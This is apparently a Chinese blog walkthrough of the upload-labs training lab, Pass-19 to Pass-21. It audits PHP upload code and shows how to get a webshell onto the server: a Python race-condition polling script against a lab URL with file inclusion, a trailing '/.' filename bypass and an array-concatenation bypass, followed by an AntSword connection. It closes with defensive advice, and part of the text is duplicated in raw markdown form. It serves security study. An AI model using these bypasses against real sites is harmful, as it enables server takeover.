    • isUploadedFile():检查文件是否成功上传。
    • setDir():设置目标目录。
    • checkExtension():检查上传文件的扩展名是否在允许的范围内。
    • checkSize():检查上传文件的大小是否符合要求。
    • checkFileExists():如果设置了检查文件是否存在的标志,检查目标目录中是否已存在同名文件。
    • move():将上传的文件移动到目标目录。
    • renameFile():如果设置了重命名文件的标志,将文件重命名。
    • resultUpload():返回上传结果。
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

无法上传 php 文件了,只能上传图片马,需要在图片马没有被重命名之前访问它,执行图片马还需要配合文件包含,apache 解析漏洞等,此处使用文件包含

生成图片马

image-20231117171149967

上传图片马,和18关步骤一样

修改 python 脚本,将脚本 url 修改为文件包含地址

import requests
url = "http://10.1.1.5/upload-labs/include.php?file=upload/jjshell.jpg"
i = 1
while True:
    res = requests.get(url=url)
    print(f"第{i}次访问")
    i += 1
    if res.status_code == 200:
        print("上传成功")
        break

burpsuite 执行攻击,python 执行脚本

image-20231117222344770

image-20231117230142208

注意,蚁剑连接位置为 /upload-labs 目录下

image-20231117230355516

Pass-20

代码审计

  • 后缀黑名单,上传的文件名用户可控,只对用户输入的文件后缀名进行判断

使用 pathinfo() 函数获取上传文件的扩展名($file_ext = pathinfo($file_name,PATHINFO_EXTENSION))。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

直接上传.php 一句话木马

image-20231120160502606

把保存路径的文件名改成 .php 后缀,点空格点绕过

image-20231120160746025

move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /.

image-20231120161003791

蚁剑连接

image-20231120161043042

Pass-21(拼接绕过)

代码审计

  • 验证上传路径是否存在
  • 验证[‘upload_file’]的content-type是否合法(可以抓包修改)
  • 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断)
  • 判断file不是数组则使用explode(‘.’, strtolower($file))对file进行切割,将file变为一个数组
  • 判断数组最后一个元素是否合法
  • 数组第一位和 f i l e [ c o u n t ( file[count( file[count(file) - 1]进行拼接,产生保存文件名file_name
  • 上传文件

explode(separator,string[,limit]) 函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。

end(array)函数,输出数组中的当前元素和最后一个元素的值。

reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值。

count(array)函数,计算数组中的单元数目,或对象中的属性个数。

上传 php 一句话木马

image-20231120162413435

改包

image-20231120162604944

蚁剑连接

image-20231120163055512

总结

如何防御?

  • 不要暴露上传文件的位置
  • 禁用上传文件的执行权限
  • 黑白名单
  • 对上传后的文件重命名
  • 对文件内容二次渲染
  • 对上传的内容进行读取检查

如何判断上传漏洞类型?

{
$is_upload = true;
}else{
$msg = ‘上传出错!’;
}
}else{
$msg = ‘禁止保存为该类型文件!’;
}

} else {
    $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}

}


直接上传.php 一句话木马

[外链图片转存中...(img-ZsewtJM1-1700469434984)]

把保存路径的文件名改成 .php 后缀,点空格点绕过

[外链图片转存中...(img-3BO5SAFs-1700469434984)]

move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 `/.`

[外链图片转存中...(img-EKZqkuk4-1700469434985)]

蚁剑连接

[外链图片转存中...(img-f09HAP2O-1700469434985)]

## Pass-21(拼接绕过)

**代码审计**

- 验证上传路径是否存在
- 验证['upload_file']的content-type是否合法(可以抓包修改)
- 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断)
- 判断file不是数组则使用explode('.', strtolower($file))对file进行切割,将file变为一个数组
- 判断数组最后一个元素是否合法
- 数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名file_name
- 上传文件

> explode(separator,string[,limit]) 函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
>
> end(array)函数,输出数组中的当前元素和最后一个元素的值。
>
> reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值。
>
> count(array)函数,计算数组中的单元数目,或对象中的属性个数。
> 

上传 php 一句话木马

[外链图片转存中...(img-QbBL31Xs-1700469434985)]

改包

[外链图片转存中...(img-D0dOhN6w-1700469434985)]

蚁剑连接

[外链图片转存中...(img-sVOxCHuy-1700469434986)]

## 总结

### 如何防御?

- 不要暴露上传文件的位置
- 禁用上传文件的执行权限
- 黑白名单
- 对上传后的文件重命名
- 对文件内容二次渲染
- 对上传的内容进行读取检查

### 如何判断上传漏洞类型?

![](https://img-blog.csdnimg.cn/img_convert/711984084661f55adb0a712a4ee5db4f.png)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值